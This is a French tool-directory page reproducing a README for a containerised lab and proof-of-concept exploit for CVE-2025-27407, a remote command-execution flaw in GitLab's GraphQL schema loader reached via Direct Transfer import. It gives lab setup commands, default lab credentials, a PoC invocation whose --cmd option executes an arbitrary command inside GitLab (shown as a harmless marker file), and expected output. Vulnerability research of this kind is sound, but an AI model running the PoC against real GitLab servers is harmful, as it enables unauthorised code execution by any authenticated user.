Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-27407 — Laboratoire local et preuve de concept d'exploit pour CVE-2025-27407, ciblant le chargeur de schéma d'introspection GraphQL de GitLab via le chemin HTTP Direct Transfer. Inclut un environnement conteneurisé et un script de déclenchement automatisé. | Kitploit
Outils/GitHubGitHub/logggg2402/cve-2025-27407
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHublogggg2402/cve-2025-27407

CVE-2025-27407

Laboratoire local et preuve de concept d'exploit pour CVE-2025-27407, ciblant le chargeur de schéma d'introspection GraphQL de GitLab via le chemin HTTP Direct Transfer. Inclut un environnement conteneurisé et un script de déclenchement automatisé.

Voir le dépôt
1il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-27407 Laboratoire GitLab Podman

Laboratoire local minimaliste pour prouver que le chemin HTTP de Transfert Direct de GitLab atteint le chargeur de schéma d'introspection vulnérable graphql-ruby. Le laboratoire exécute un conteneur GitLab CE vulnérable ; le script PoC démarre son serveur source GitLab factice en processus uniquement pendant les tests.

Exécutez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester.

Fichiers

FichierObjectif
lab.shDémarre, attend, vérifie et nettoie le laboratoire GitLab.
poc_host_port_cmd.pyPoC unique : serveur source factice + déclencheur de connexion/configuration/import GitLab.

Prérequis

  • Hôte Linux avec podman
  • curl
  • Ports locaux libres pour GitLab et le serveur source factice du PoC
  • Assez de RAM/disque pour le conteneur GitLab Omnibus

Valeurs par défaut :

ÉlémentValeur par défaut
Image GitLabdocker.io/gitlab/gitlab-ce:16.11.8-ce.0
Conteneur GitLabcve-27407-gitlab
Réseau Podmancve-2025-27407-net
Utilisateur root GitLabroot
Mot de passe root GitLabCve27407Password!
Marqueur/tmp/cve_2025_27407_gitlab_marker

Démarrer le laboratoire

Le port 8080 est le défaut du script. S'il est déjà utilisé, utilisez 18080 comme indiqué ci-dessous.

root@kitploit:~
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py

GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up

Ouvrir GitLab à :

root@kitploit:~
http://127.0.0.1:18080

Identifiants de connexion :

root@kitploit:~
root / Cve27407Password!

root n'est que l'utilisateur par défaut du laboratoire. Le déclencheur PoC ne nécessite pas de compte administrateur ; tout utilisateur authentifié pouvant créer/importer dans un espace de noms de destination peut atteindre le chemin vulnérable de Transfert Direct. Utilisez --username et --password pour tester avec un utilisateur non administrateur.

Exécuter le PoC

root@kitploit:~
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"

./poc_host_port_cmd.py \
  --host 127.0.0.1 \
  --port 18080 \
  --listen-port 8001 \
  --wait-seconds 120 \
  --cmd "touch $MARKER"

MARKER="$MARKER" ./lab.sh verify

Signaux attendus :

root@kitploit:~
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container

Options

OptionObjectifValeur par défaut
--hostHôte GitLab cibleRequis
--portPort HTTP GitLab cibleRequis
--cmdCommande exécutée dans l'environnement GitLabtouch /tmp/cve_2025_27407_gitlab_marker
--listen-portPort local du serveur source factice8001
--wait-secondsTemps de maintien du serveur source factice pour les workers asynchrones GitLab90
--usernameNom d'utilisateur GitLabroot
--passwordMot de passe GitLabCve27407Password!

Variables d'environnement personnalisables

VariableObjectifValeur par défaut
GITLAB_HTTP_PORTPort HTTP GitLab de l'hôte/conteneur8080
GITLAB_SSH_PORTPort SSH GitLab de l'hôte2224
GITLAB_ROOT_PASSWORDMot de passe root initialCve27407Password!
GITLAB_IMAGEImage GitLab à exécuterdocker.io/gitlab/gitlab-ce:16.11.8-ce.0
NETWORKNom du réseau Podmancve-2025-27407-net
MARKERFichier vérifié dans le conteneur GitLab/tmp/cve_2025_27407_gitlab_marker
TIMEOUT_SECONDSDélai d'attente de disponibilité1200

Dépannage

  • Si 8080 est occupé, utilisez GITLAB_HTTP_PORT=18080 pour ./lab.sh up.
  • Si le PoC ne peut pas lier son port source, changez --listen-port pour un port inutilisé.
  • Si la vérification du marqueur entre en conflit avec le worker d'import en arrière-plan, augmentez --wait-seconds ou réexécutez MARKER="$MARKER" ./lab.sh verify.
  • Si GitLab n'est pas encore prêt, réexécutez GITLAB_HTTP_PORT=18080 ./lab.sh wait.
  • Si un laboratoire précédent est bloqué, exécutez ./lab.sh cleanup et recommencez.

Nettoyage

root@kitploit:~
./lab.sh cleanup

Cela supprime le conteneur GitLab, tout conteneur source factice hérité des anciennes versions du laboratoire, et le réseau du laboratoire. Cela ne supprime pas les images Podman téléchargées.

Télécharger l’outil